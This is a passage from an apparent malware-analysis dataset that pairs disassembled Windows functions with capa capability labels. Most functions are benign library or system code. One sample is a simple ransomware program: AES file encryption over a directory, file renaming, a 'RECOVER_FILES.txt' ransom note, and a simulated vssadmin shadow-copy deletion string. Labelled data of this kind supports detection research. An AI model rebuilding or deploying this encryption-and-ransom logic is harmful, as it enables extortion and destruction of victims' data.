joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140006738
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 8], rcx
push rbx
sub rsp, 0x40
mov qword [rsp + 0x30], rsp
lea rcx, [0x14000f718]
call qword [sym.imp.api_ms_win_core_synch_l1_1_0.dll_EnterCriticalSection]
nop dword [rax + rax]
nop
cmp byte [0x14000f590], 0
jne 0x1400067f8
lea rax, [0x14000f598]
mov qword [rsp + 0x20], rax
mov r9d, 0x20119
xor r8d, r8d
lea rdx, str.SoftwareMicrosoftMSDTCTracing
mov rcx, 0xffffffff80000002
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegOpenKeyExW]
nop dword [rax + rax]
mov ebx, eax
test eax, eax
je 0x1400067ec
and qword [0x14000f598], 0
lea rcx, str.Unable_to_open_MSDTCTracing_settings_key_n
call qword [sym.imp.api_ms_win_core_debug_l1_1_0.dll_OutputDebugStringW]
nop dword [rax + rax]
test ebx, ebx
jg 0x1400067c2
mov dword [rsp + 0x50], ebx
jmp 0x1400067ce
movzx eax, bx
or eax, 0x80070000
mov dword [rsp + 0x50], eax
lea rdx, [0x1400067e1]
mov rcx, qword [rsp + 0x30]
call sub.msvcrt.dll__local_unwind
nop
nop
mov eax, dword [rsp + 0x50]
add rsp, 0x40
pop rbx
ret
call fcn.140006818
mov byte [0x14000f590], 1
lea rcx, [0x14000f718]
call qword [sym.imp.api_ms_win_core_synch_l1_1_0.dll_LeaveCriticalSection]
nop dword [rax + rax]
xor eax, eax
jmp 0x1400067e5
Function at 0x140006fd4
Capabilities:
Accept command line arguments

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x500]
sub rsp, 0x600
mov rax, qword [0x14000d268]
xor rax, rsp
mov qword [rbp + 0x4f0], rax
xor ebx, ebx
mov edi, 0x105
mov qword [rsp + 0x38], rbx
mov rsi, rdx
mov dword [rsp + 0x30], edi
mov r14, rcx
test rcx, rcx
je 0x140007205
test rdx, rdx
je 0x140007205
mov qword [rcx], rbx
mov qword [rdx], rbx
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetCurrentProcess]
nop dword [rax + rax]
lea r9, [rsp + 0x30]
xor edx, edx
mov rcx, rax
lea r8, [rbp + 0xd0]
call qword [sym.imp.api_ms_win_core_psapi_l1_1_0.dll_QueryFullProcessImageNameW]
nop dword [rax + rax]
test eax, eax
jne 0x14000707f
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
nop dword [rax + rax]
test eax, eax
jle 0x1400071ff
movzx ebx, ax
or ebx, 0x80070000
jmp 0x140007201
lea r9, [rsp + 0x38]
mov edx, edi
lea r8, [rbp + 0x2e0]
lea rcx, [rbp + 0xd0]
call qword [sym.imp.api_ms_win_core_file_l1_1_0.dll_GetFullPathNameW]
nop dword [rax + rax]
test eax, eax
je 0x14000705d
mov rdx, qword [rsp + 0x38]
lea rcx, str.dllhost.exe
call qword [sym.imp.msvcrt.dll__wcsicmp]
nop dword [rax + rax]
test eax, eax
jne 0x1400071f2
call qword [sym.imp.api_ms_win_core_processenvironment_l1_1_0.dll_GetCommandLineA]
nop dword [rax + rax]
mov rcx, rax
mov edx, 0x20
call qword [sym.imp.msvcrt.dll_strchr]
nop dword [rax + rax]
test rax, rax
je 0x1400071f2
add rax, 1
je 0x1400071f2
movzx ecx, word [0x14000ae48]
lea rdx, [rsp + 0x40]
movsd xmm0, qword [str._ProcessID]
mov word [rsp + 0x50], cx
mov cl, byte [0x14000ae4a]
mov byte [rsp + 0x52], cl
lea rcx, [rbp - 0x40]
mov qword [rsp + 0x40], rcx
mov rcx, rax
movsd qword [rsp + 0x48], xmm0
call fcn.140006ef4
cmp eax, 1
jl 0x1400071f2
mov al, byte [rbp - 0x40]
lea rdi, [rbp - 0x40]
test al, al
je 0x140007161
lea rdi, [rbp - 0x40]
lea rcx, [rdi + 1]
cmp al, 0x3a
je 0x14000715c
mov al, byte [rcx]
mov rdi, rcx
test al, al
jne 0x140007149
jmp 0x140007161
mov byte [rdi], bl
mov rdi, rcx
cmp byte [rdi], bl
je 0x140007185
lea rdx, [rsp + 0x48]
lea rcx, [rbp - 0x40]
call qword [sym.imp.msvcrt.dll__stricmp]
nop dword [rax + rax]
test eax, eax
jne 0x140007185
test rdi, rdi
je 0x1400071f2
jmp 0x140007189
lea rdi, [rbp - 0x40]
mov edx, 0x28
mov rax, rdi
mov ecx, edx
cmp byte [rax], bl
je 0x1400071a0
inc rax
sub rcx, 1
jne 0x140007193
sub rdx, rcx
mov rax, rcx
neg rax
sbb r8, r8
and r8, rdx
test rcx, rcx
je 0x1400071f2
lea r9d, [r8 + 1]
mov dword [rsp + 0x28], 0x29
lea rax, [rsp + 0x60]
mov r8, rdi
xor edx, edx
mov qword [rsp + 0x20], rax
xor ecx, ecx
call qword [sym.imp.api_ms_win_core_string_l1_1_0.dll_MultiByteToWideChar]
nop dword [rax + rax]
test eax, eax
je 0x1400071f2
mov rdx, rsi
lea rcx, [rsp + 0x60]
call fcn.140002fd8
test eax, eax
js 0x140007201
mov rcx, qword [rsp + 0x38]
mov rdx, r14
call fcn.140002fd8
mov ebx, eax
mov eax, ebx
jmp 0x14000720a
mov eax, 0x80070057
mov rcx, qword [rbp + 0x4f0]
xor rcx, rsp
call fcn.1400016c0
lea r11, [rsp + 0x600]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x1417bc058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x1417bc1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1417bc089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1417bc06f
add dl, dl
jne 0x1417bc096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1417bc0f6
xor eax, eax
add dl, dl
jne 0x1417bc0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1417bc1ad
add dl, dl
jne 0x1417bc0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1417bc0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1417bc0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1417bc0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1417bc0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1417bc07e
mov eax, 1
add dl, dl
jne 0x1417bc106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1417bc113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1417bc0fb
sub eax, ebx
mov ebx, 1
jne 0x1417bc14c
mov ecx, 1
add dl, dl
jne 0x1417bc12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1417bc13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1417bc123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1417bc07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1417bc168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1417bc175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1417bc15d
cmp eax, 0x7d00
jae 0x1417bc19b
cmp eax, 0x500
jb 0x1417bc196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1417bc07e
cmp eax, 0x7f
ja 0x1417bc19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1417bc07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1417bc1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1417bc07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x00619e70]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x00619e80]
mov dword [rax], 1
mov rax, qword [0x00619e90]
mov dword [rax], 1
mov rax, qword [0x00619e60]
mov dword [rax], 1
mov rax, qword [0x00619920]
cmp word [rax], 0x5a4d
jne 0x401067
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x4010c0
mov rax, qword [0x00619e50]
mov dword [0x0063d00c], ecx
mov eax, dword [rax]
test eax, eax
jne 0x4010b0
mov ecx, 1
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x00619ad0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x006198d0]
cmp dword [rax], 1
je 0x4010f0
xor eax, eax
add rsp, 0x28
ret
mov ecx, 2
call sym.__set_app_type
jmp 0x401084
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x401108
cmp dx, 0x20b
jne 0x401067
cmp dword [rax + 0x84], 0xe
jbe 0x401067
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x401067
lea rcx, [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401067
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x401067

Function at 0x4015aa
Capabilities:
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
lea rax, [rbp - 0x20]
mov r8d, 0x20
mov edx, 0
mov rcx, rax
call sym.memset
mov rdx, qword [rbp + 0x18]
lea rax, [rbp - 0x20]
mov r8d, 0x1f
mov rcx, rax
call sym.strncpy
mov rax, qword [rbp + 0x10]
add rax, 0xf4
mov edx, 0x10
mov rcx, rax
call sym.RAND_bytes
test eax, eax
jne 0x401634
mov ecx, 2
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov r9, rax
mov r8d, 0x14
mov edx, 1
lea rcx, str.Error_generating_IV_n
call sym.fwrite
mov ecx, 1
call sym.exit
mov rdx, qword [rbp + 0x10]
lea rax, [rbp - 0x20]
mov r8, rdx
mov edx, 0x100
mov rcx, rax
call sym.AES_set_encrypt_key
nop
add rsp, 0x40
pop rbp
ret
Function at 0x401653
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov dword [rbp + 0x20], r8d
lea rdx, [0x005b5015]
mov rcx, qword [rbp + 0x10]
call sym.fopen
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x401697
mov rdx, qword [rbp + 0x10]
lea rcx, str.Error_opening_file:__s_n
call sym.printf
jmp 0x4017f3
mov rax, qword [rbp - 8]
mov r8d, 2
mov edx, 0
mov rcx, rax
call sym.fseek
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.ftell
mov dword [rbp - 0xc], eax
mov rax, qword [rbp - 8]
mov r8d, 0
mov edx, 0
mov rcx, rax
call sym.fseek
mov eax, dword [rbp - 0xc]
cdqe
mov rcx, rax
call sym.malloc
mov qword [rbp - 0x18], rax
mov eax, dword [rbp - 0xc]
movsxd rdx, eax
mov rcx, qword [rbp - 8]
mov rax, qword [rbp - 0x18]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fread
mov eax, dword [rbp - 0xc]
add eax, 0x10
cdqe
mov rcx, rax
call sym.malloc
mov qword [rbp - 0x20], rax
cmp dword [rbp + 0x20], 1
jne 0x401754
mov rax, qword [rbp + 0x18]
lea rcx, [rax + 0xf4]
mov r9, qword [rbp + 0x18]
mov eax, dword [rbp - 0xc]
movsxd r8, eax
mov rdx, qword [rbp - 0x20]
mov rax, qword [rbp - 0x18]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], rcx
mov rcx, rax
call sym.AES_cbc_encrypt
jmp 0x401786
mov rax, qword [rbp + 0x18]
lea rcx, [rax + 0xf4]
mov r9, qword [rbp + 0x18]
mov eax, dword [rbp - 0xc]
movsxd r8, eax
mov rdx, qword [rbp - 0x20]
mov rax, qword [rbp - 0x18]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], rcx
mov rcx, rax
call sym.AES_cbc_encrypt
mov rax, qword [rbp - 8]
mov r8d, 0
mov edx, 0
mov rcx, rax
call sym.fseek
mov eax, dword [rbp - 0xc]
movsxd rdx, eax
mov rcx, qword [rbp - 8]
mov rax, qword [rbp - 0x20]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fwrite
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.fclose
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sym.free
mov rax, qword [rbp - 0x20]
mov rcx, rax
call sym.free
mov rdx, qword [rbp + 0x10]
lea rcx, str.Processed_file:__s_n
call sym.printf
nop
add rsp, 0x50
pop rbp
ret

Function at 0x4017f9
Capabilities:
Write file on windows

Disassembly:
push rbp
sub rsp, 0x130
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xc0], rcx
lea rax, [rbp - 0x60]
mov r9, qword [rbp + 0xc0]
lea r8, str._sRECOVER_FILES.txt
mov edx, 0x100
mov rcx, rax
call sym.snprintf
lea rax, [rbp - 0x60]
lea rdx, [0x005b505a]
mov rcx, rax
call sym.fopen
mov qword [rbp + 0xa8], rax
cmp qword [rbp + 0xa8], 0
je 0x4018de
mov rax, qword [rbp + 0xa8]
mov r9, rax
mov r8d, 0x27
mov edx, 1
lea rcx, str._Your_files_have_been_encrypted__n
call sym.fwrite
mov rax, qword [rbp + 0xa8]
mov r9, rax
mov r8d, 0x36
mov edx, 1
lea rcx, str.To_recover_them__contact_us_at:_fake_email_domain.com_n
call sym.fwrite
mov rax, qword [rbp + 0xa8]
mov r9, rax
mov r8d, 0x35
mov edx, 1
lea rcx, str.Failure_to_do_so_will_result_in_permanent_data_loss._n
call sym.fwrite
mov rax, qword [rbp + 0xa8]
mov rcx, rax
call sym.fclose
lea rax, [rbp - 0x60]
mov rdx, rax
lea rcx, str.Ransom_note_dropped_at:__s_n
call sym.printf
jmp 0x4018ea
lea rcx, str.Error_creating_ransom_note
call sym.puts
nop
add rsp, 0x130
pop rbp
ret
Function at 0x4018f4
Capabilities:
Move file

Disassembly:
push rbp
sub rsp, 0x120
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xb0], rcx
call sym.rand
mov edx, eax
lea rax, [rbp - 0x60]
mov r9d, edx
mov r8, qword [rbp + 0xb0]
lea rdx, str._s._06x
mov rcx, rax
call sym.sprintf
lea rax, [rbp - 0x60]
mov rdx, rax
mov rcx, qword [rbp + 0xb0]
call sym.rename
test eax, eax
jne 0x40195b
lea rax, [rbp - 0x60]
mov rdx, rax
lea rcx, str.Renamed_file_to:__s_n
call sym.printf
jmp 0x40196e
mov rdx, qword [rbp + 0xb0]
lea rcx, str.Error_renaming_file:__s_n
call sym.printf
nop
add rsp, 0x120
pop rbp
ret

Function at 0x401978
Capabilities:
Delete volume shadow copies

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
lea rcx, str.Simulating_shadow_copy_deletion__vssadmin_delete_shadows_...
call sym.puts
nop
add rsp, 0x20
pop rbp
ret

Function at 0x4019b6
Capabilities:
Enumerate files on windows

Disassembly:
push rbp
sub rsp, 0x580
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x510], rcx
mov qword [rbp + 0x518], rdx
lea rax, [rbp + 0x1b0]
mov r9, qword [rbp + 0x510]
lea r8, [0x005b51da]
mov edx, 0x200
mov rcx, rax
call sym.snprintf
lea rdx, [rbp + 0x3b0]
lea rax, [rbp + 0x1b0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindFirstFileA]
call rax
mov qword [rbp + 0x4f8], rax
cmp qword [rbp + 0x4f8], 0xffffffffffffffff
jne 0x401a39
mov rdx, qword [rbp + 0x510]
lea rcx, str.Error_opening_directory:__s_n
call sym.printf
jmp 0x401ad8
mov eax, dword [rbp + 0x3b0]
and eax, 0x10
test eax, eax
jne 0x401a9a
lea rax, [rbp - 0x50]
lea rdx, [rbp + 0x3b0]
add rdx, 0x2c
mov qword [rsp + 0x20], rdx
mov r9, qword [rbp + 0x510]
lea r8, [0x005b51fc]
mov edx, 0x200
mov rcx, rax
call sym.snprintf
mov rdx, qword [rbp + 0x518]
lea rax, [rbp - 0x50]
mov r8d, 1
mov rcx, rax
call sym.aes_encrypt_decrypt_file
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.rename_file
lea rdx, [rbp + 0x3b0]
mov rax, qword [rbp + 0x4f8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindNextFileA]
call rax
test eax, eax
jne 0x401a39
mov rcx, qword [rbp + 0x510]
call sym.drop_ransom_note
mov rax, qword [rbp + 0x4f8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindClose]
call rax
nop
add rsp, 0x580
pop rbp
ret
Function at 0x401bc0
Capabilities:
Encode data using xor

Disassembly:
xor eax, dword [r15]
xor ebx, dword [r15 + 4]
xor ecx, dword [r15 + 8]
xor edx, dword [r15 + 0xc]
mov r13d, dword [r15 + 0xf0]
sub r13d, 1
jmp 0x401be0
movzx esi, al
movzx edi, bl
movzx ebp, cl
mov r10d, dword [r14 + rsi*8]
mov r11d, dword [r14 + rdi*8]
mov r12d, dword [r14 + rbp*8]
movzx esi, bh
movzx edi, ch
movzx ebp, dl
xor r10d, dword [r14 + rsi*8 + 3]
xor r11d, dword [r14 + rdi*8 + 3]
mov r8d, dword [r14 + rbp*8]
movzx esi, dh
shr ecx, 0x10
movzx ebp, ah
xor r12d, dword [r14 + rsi*8 + 3]
shr edx, 0x10
xor r8d, dword [r14 + rbp*8 + 3]
shr ebx, 0x10
lea r15, [r15 + 0x10]
shr eax, 0x10
movzx esi, cl
movzx edi, dl
movzx ebp, al
xor r10d, dword [r14 + rsi*8 + 2]
xor r11d, dword [r14 + rdi*8 + 2]
xor r12d, dword [r14 + rbp*8 + 2]
movzx esi, dh
movzx edi, ah
movzx ebp, bl
xor r10d, dword [r14 + rsi*8 + 1]
xor r11d, dword [r14 + rdi*8 + 1]
xor r8d, dword [r14 + rbp*8 + 2]
mov edx, dword [r15 + 0xc]
movzx edi, bh
movzx ebp, ch
mov eax, dword [r15]
xor r12d, dword [r14 + rdi*8 + 1]
xor r8d, dword [r14 + rbp*8 + 1]
mov ebx, dword [r15 + 4]
mov ecx, dword [r15 + 8]
xor eax, r10d
xor ebx, r11d
xor ecx, r12d
xor edx, r8d
sub r13d, 1
jne 0x401be0
movzx esi, al
movzx edi, bl
movzx ebp, cl
movzx r10d, byte [r14 + rsi*8 + 2]
movzx r11d, byte [r14 + rdi*8 + 2]
movzx r12d, byte [r14 + rbp*8 + 2]
movzx esi, dl
movzx edi, bh
movzx ebp, ch
movzx r8d, byte [r14 + rsi*8 + 2]
mov edi, dword [r14 + rdi*8]
mov ebp, dword [r14 + rbp*8]
and edi, 0xff00
and ebp, 0xff00
xor r10d, edi
xor r11d, ebp
shr ecx, 0x10
movzx esi, dh
movzx edi, ah
shr edx, 0x10
mov esi, dword [r14 + rsi*8]
mov edi, dword [r14 + rdi*8]
and esi, 0xff00
and edi, 0xff00
shr ebx, 0x10
xor r12d, esi
xor r8d, edi
shr eax, 0x10
movzx esi, cl
movzx edi, dl
movzx ebp, al
mov esi, dword [r14 + rsi*8]
mov edi, dword [r14 + rdi*8]
mov ebp, dword [r14 + rbp*8]
and esi, 0xff0000
and edi, 0xff0000
and ebp, 0xff0000
xor r10d, esi
xor r11d, edi
xor r12d, ebp
movzx esi, bl
movzx edi, dh
movzx ebp, ah
mov esi, dword [r14 + rsi*8]
mov edi, dword [r14 + rdi*8 + 2]
mov ebp, dword [r14 + rbp*8 + 2]
and esi, 0xff0000
and edi, 0xff000000
and ebp, 0xff000000
xor r8d, esi
xor r10d, edi
xor r11d, ebp
movzx esi, bh
movzx edi, ch
mov edx, dword [r15 + 0x1c]
mov esi, dword [r14 + rsi*8 + 2]
mov edi, dword [r14 + rdi*8 + 2]
mov eax, dword [r15 + 0x10]
and esi, 0xff000000
and edi, 0xff000000
xor r12d, esi
xor r8d, edi
mov ebx, dword [r15 + 0x14]
mov ecx, dword [r15 + 0x18]
xor eax, r10d
xor ebx, r11d
xor ecx, r12d
xor edx, r8d
repz ret
Function at 0x402020
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
mov qword [rsp + 8], rdi
mov qword [rsp + 0x10], rsi
mov rax, rsp
mov rdi, rcx
mov rsi, rdx
mov rdx, r8
mov rax, rsp
push rbx
push rbp
push r12
push r13
push r14
push r15
lea rcx, [rdx - 0x3f]
and rsp, 0xffffffffffffffc0
sub rcx, rsp
neg rcx
and rcx, 0x3c0
sub rsp, rcx
sub rsp, 0x20
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rax
mov r15, rdx
mov r13d, dword [r15 + 0xf0]
mov eax, dword [rdi]
mov ebx, dword [rdi + 4]
mov ecx, dword [rdi + 8]
mov edx, dword [rdi + 0xc]
shl r13d, 4
lea rbp, [r15 + r13]
mov qword [rsp], r15
mov qword [rsp + 8], rbp
lea r14, [0x004039c0]
lea rbp, [rsp + 0x300]
sub rbp, r14
and rbp, 0x300
lea r14, [r14 + rbp]
call sym._x86_64_AES_encrypt_compact
mov r9, qword [rsp + 0x10]
mov rsi, qword [rsp + 0x18]
mov dword [r9], eax
mov dword [r9 + 4], ebx
mov dword [r9 + 8], ecx
mov dword [r9 + 0xc], edx
mov r15, qword [rsi - 0x30]
mov r14, qword [rsi - 0x28]
mov r13, qword [rsi - 0x20]
mov r12, qword [rsi - 0x18]
mov rbp, qword [rsi - 0x10]
mov rbx, qword [rsi - 8]
lea rsp, [rsi]
mov rdi, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
repz ret

Function at 0x40202d
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
mov qword [rsp + 8], rdi
mov qword [rsp + 0x10], rsi
mov rax, rsp
mov rdi, rcx
mov rsi, rdx
mov rdx, r8
mov rax, rsp
push rbx
push rbp
push r12
push r13
push r14
push r15
lea rcx, [rdx - 0x3f]
and rsp, 0xffffffffffffffc0
sub rcx, rsp
neg rcx
and rcx, 0x3c0
sub rsp, rcx
sub rsp, 0x20
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rax
mov r15, rdx
mov r13d, dword [r15 + 0xf0]
mov eax, dword [rdi]
mov ebx, dword [rdi + 4]
mov ecx, dword [rdi + 8]
mov edx, dword [rdi + 0xc]
shl r13d, 4
lea rbp, [r15 + r13]
mov qword [rsp], r15
mov qword [rsp + 8], rbp
lea r14, [0x004039c0]
lea rbp, [rsp + 0x300]
sub rbp, r14
and rbp, 0x300
lea r14, [r14 + rbp]
call sym._x86_64_AES_encrypt_compact
mov r9, qword [rsp + 0x10]
mov rsi, qword [rsp + 0x18]
mov dword [r9], eax
mov dword [r9 + 4], ebx
mov dword [r9 + 8], ecx
mov dword [r9 + 0xc], edx
mov r15, qword [rsi - 0x30]
mov r14, qword [rsi - 0x28]
mov r13, qword [rsi - 0x20]
mov r12, qword [rsi - 0x18]
mov rbp, qword [rsi - 0x10]
mov rbx, qword [rsi - 8]
lea rsp, [rsi]
mov rdi, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
repz ret
Function at 0x402100
Capabilities:
Encode data using xor

Disassembly:
xor eax, dword [r15]
xor ebx, dword [r15 + 4]
xor ecx, dword [r15 + 8]
xor edx, dword [r15 + 0xc]
mov r13d, dword [r15 + 0xf0]
sub r13d, 1
jmp 0x402120
movzx esi, al
movzx edi, bl
movzx ebp, cl
mov r10d, dword [r14 + rsi*8]
mov r11d, dword [r14 + rdi*8]
mov r12d, dword [r14 + rbp*8]
movzx esi, dh
movzx edi, ah
movzx ebp, dl
xor r10d, dword [r14 + rsi*8 + 3]
xor r11d, dword [r14 + rdi*8 + 3]
mov r8d, dword [r14 + rbp*8]
movzx esi, bh
shr eax, 0x10
movzx ebp, ch
xor r12d, dword [r14 + rsi*8 + 3]
shr edx, 0x10
xor r8d, dword [r14 + rbp*8 + 3]
shr ebx, 0x10
lea r15, [r15 + 0x10]
shr ecx, 0x10
movzx esi, cl
movzx edi, dl
movzx ebp, al
xor r10d, dword [r14 + rsi*8 + 2]
xor r11d, dword [r14 + rdi*8 + 2]
xor r12d, dword [r14 + rbp*8 + 2]
movzx esi, bh
movzx edi, ch
movzx ebp, bl
xor r10d, dword [r14 + rsi*8 + 1]
xor r11d, dword [r14 + rdi*8 + 1]
xor r8d, dword [r14 + rbp*8 + 2]
movzx esi, dh
mov edx, dword [r15 + 0xc]
movzx ebp, ah
xor r12d, dword [r14 + rsi*8 + 1]
mov eax, dword [r15]
xor r8d, dword [r14 + rbp*8 + 1]
xor eax, r10d
mov ebx, dword [r15 + 4]
mov ecx, dword [r15 + 8]
xor ecx, r12d
xor ebx, r11d
xor edx, r8d
sub r13d, 1
jne 0x402120
lea r14, [r14 + 0x800]
movzx esi, al
movzx edi, bl
movzx ebp, cl
movzx r10d, byte [r14 + rsi]
movzx r11d, byte [r14 + rdi]
movzx r12d, byte [r14 + rbp]
movzx esi, dl
movzx edi, dh
movzx ebp, ah
movzx r8d, byte [r14 + rsi]
movzx edi, byte [r14 + rdi]
movzx ebp, byte [r14 + rbp]
shl edi, 8
shl ebp, 8
xor r10d, edi
xor r11d, ebp
shr edx, 0x10
movzx esi, bh
movzx edi, ch
shr eax, 0x10
movzx esi, byte [r14 + rsi]
movzx edi, byte [r14 + rdi]
shl esi, 8
shl edi, 8
shr ebx, 0x10
xor r12d, esi
xor r8d, edi
shr ecx, 0x10
movzx esi, cl
movzx edi, dl
movzx ebp, al
movzx esi, byte [r14 + rsi]
movzx edi, byte [r14 + rdi]
movzx ebp, byte [r14 + rbp]
shl esi, 0x10
shl edi, 0x10
shl ebp, 0x10
xor r10d, esi
xor r11d, edi
xor r12d, ebp
movzx esi, bl
movzx edi, bh
movzx ebp, ch
movzx esi, byte [r14 + rsi]
movzx edi, byte [r14 + rdi]
movzx ebp, byte [r14 + rbp]
shl esi, 0x10
shl edi, 0x18
shl ebp, 0x18
xor r8d, esi
xor r10d, edi
xor r11d, ebp
movzx esi, dh
movzx edi, ah
mov edx, dword [r15 + 0x1c]
movzx esi, byte [r14 + rsi]
movzx edi, byte [r14 + rdi]
mov eax, dword [r15 + 0x10]
shl esi, 0x18
shl edi, 0x18
xor r12d, esi
xor r8d, edi
mov ebx, dword [r15 + 0x14]
mov ecx, dword [r15 + 0x18]
lea r14, [r14 - 0x800]
xor eax, r10d
xor ebx, r11d
xor ecx, r12d
xor edx, r8d
repz ret
Function at 0x4025d0
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
mov qword [rsp + 8], rdi
mov qword [rsp + 0x10], rsi
mov rax, rsp
mov rdi, rcx
mov rsi, rdx
mov rdx, r8
mov rax, rsp
push rbx
push rbp
push r12
push r13
push r14
push r15
lea rcx, [rdx - 0x3f]
and rsp, 0xffffffffffffffc0
sub rcx, rsp
neg rcx
and rcx, 0x3c0
sub rsp, rcx
sub rsp, 0x20
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rax
mov r15, rdx
mov r13d, dword [r15 + 0xf0]
mov eax, dword [rdi]
mov ebx, dword [rdi + 4]
mov ecx, dword [rdi + 8]
mov edx, dword [rdi + 0xc]
shl r13d, 4
lea rbp, [r15 + r13]
mov qword [rsp], r15
mov qword [rsp + 8], rbp
lea r14, [0x00404600]
lea rbp, [rsp + 0x300]
sub rbp, r14
and rbp, 0x300
lea r14, [r14 + rbp]
shr rbp, 3
add r14, rbp
call sym._x86_64_AES_decrypt_compact
mov r9, qword [rsp + 0x10]
mov rsi, qword [rsp + 0x18]
mov dword [r9], eax
mov dword [r9 + 4], ebx
mov dword [r9 + 8], ecx
mov dword [r9 + 0xc], edx
mov r15, qword [rsi - 0x30]
mov r14, qword [rsi - 0x28]
mov r13, qword [rsi - 0x20]
mov r12, qword [rsi - 0x18]
mov rbp, qword [rsi - 0x10]
mov rbx, qword [rsi - 8]
lea rsp, [rsi]
mov rdi, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
repz ret

Function at 0x4025dd
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
mov qword [rsp + 8], rdi
mov qword [rsp + 0x10], rsi
mov rax, rsp
mov rdi, rcx
mov rsi, rdx
mov rdx, r8
mov rax, rsp
push rbx
push rbp
push r12
push r13
push r14
push r15
lea rcx, [rdx - 0x3f]
and rsp, 0xffffffffffffffc0
sub rcx, rsp
neg rcx
and rcx, 0x3c0
sub rsp, rcx
sub rsp, 0x20
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rax
mov r15, rdx
mov r13d, dword [r15 + 0xf0]
